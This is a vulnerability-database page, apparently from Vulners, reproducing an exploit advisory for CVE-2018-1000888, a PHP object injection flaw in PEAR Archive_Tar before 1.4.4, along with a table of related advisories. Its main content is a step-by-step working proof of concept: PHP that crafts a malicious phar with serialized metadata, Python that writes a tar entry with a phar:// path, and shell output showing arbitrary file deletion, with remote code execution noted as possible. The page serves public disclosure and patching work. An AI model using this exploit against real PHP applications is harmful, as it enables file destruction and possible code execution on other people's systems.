| Reporter | Title | Published | Views | Family All 65 |
|---|---|---|---|---|
| PEAR Archive_Tar < 1.4.4 - PHP Object Injection Vulnerability | 11 Jan 201900:00 | – | zdt | |
| Amazon Linux 2 : php-pear (ALAS-2019-1159) | 14 Feb 201900:00 | – | nessus | |
| Debian DLA-1674-1 : php5 security update | 12 Feb 201900:00 | – | nessus | |
| Debian DLA-1685-1 : drupal7 security update | 20 Feb 201900:00 | – | nessus | |
| Debian DSA-4378-1 : php-pear - security update | 31 Jan 201900:00 | – | nessus | |
| Drupal 7.x < 7.62 / 8.5.x < 8.5.9 / 8.6.x < 8.6.6 Multiple Vulnerabilities (SA-CORE-2019-001, SA-CORE-2019-002) | 16 Jan 201900:00 | – | nessus | |
| EulerOS 2.0 SP2 : php-pear (EulerOS-SA-2019-1121) | 2 Apr 201900:00 | – | nessus | |
| EulerOS 2.0 SP5 : php-pear (EulerOS-SA-2019-1147) | 2 Apr 201900:00 | – | nessus | |
| GLSA-202006-14 : PEAR Archive_Tar: Remote code execution vulnerability | 17 Jun 202000:00 | – | nessus | |
| RHEL 6 : php-pear (Unpatched Vulnerability) | 3 Jun 202400:00 | – | nessus |
PEAR Archive_Tar < 1.4.4 - PHP Object Injection
Date:
January 10, 2019
Author:
farisv
Vendor Homepage:
https://pear.php.net/package/Archive_Tar/
Vulnerable Package Link:
http://download.pear.php.net/package/Archive_Tar-1.4.3.tgz
CVE:
CVE-2018-1000888
In PEAR Archive_Tar before 1.4.4, there are several file operation with `$v_header['filename']` as parameter (such as file_exists, is_file, is_dir, etc). When extract() is called without a specific prefix path, we can trigger phar induced unserialization by crafting a tar file with `phar://[path_to_malicious_phar_file]` as path name. Object injection can be used to trigger destructor/wakeup method in the loaded PHP classes, e.g. the Archive_Tar class itself. With Archive_Tar itself, we can trigger arbitrary file deletion because `@unlink($this->_temp_tarname)` will be called in the destructor method. If another class with useful gadget is loaded, remote code execution may be possible.
Steps to reproduce object injection and arbitrary file deletion:
1. Make sure that PHP & PEAR are installed.
2. Download vulnerable PEAR Archive_Tar.
$ wget http://download.pear.php.net/package/Archive_Tar-1.4.3.tgz
$ tar xfz Archive_Tar-1.4.3.tgz
$ cd Archive_Tar-1.4.3
3. Create vulnerable code (vulnerable.php).
```
<?php
require 'Archive/Tar.php';
$exploit = new Archive_Tar('exploit.tar');
$exploit->extract();
```
4. Create dummy file /tmp/test.
$ touch /tmp/test
5. Genereate exploit.phar with the following PHP code and place the exploit.phar in the same directory with vulnerable.php.
```
<?php
class Archive_Tar {
public $_temp_tarname;
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$object = new Archive_Tar;
$object->_temp_tarname = '/tmp/test';
$phar->setMetadata($object);
$phar->stopBuffering();
```
6. Create exploit.tar with the following Python code.
```
import tarfile
tf = tarfile.open('exploit.tar', 'w')
tf.add('/dev/null', 'phar://exploit.phar')
tf.close()
```
7. Execute vulnerable.php to trigger object injection to delete /tmp/test.
$ ls -alt /tmp/test
-rw-rw-r-- 1 vagrant vagrant 0 Jan 9 16:41 /tmp/test
$ php vulnerable.php
$ ls -alt /tmp/test
ls: cannot access '/tmp/test': No such file or directoryData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation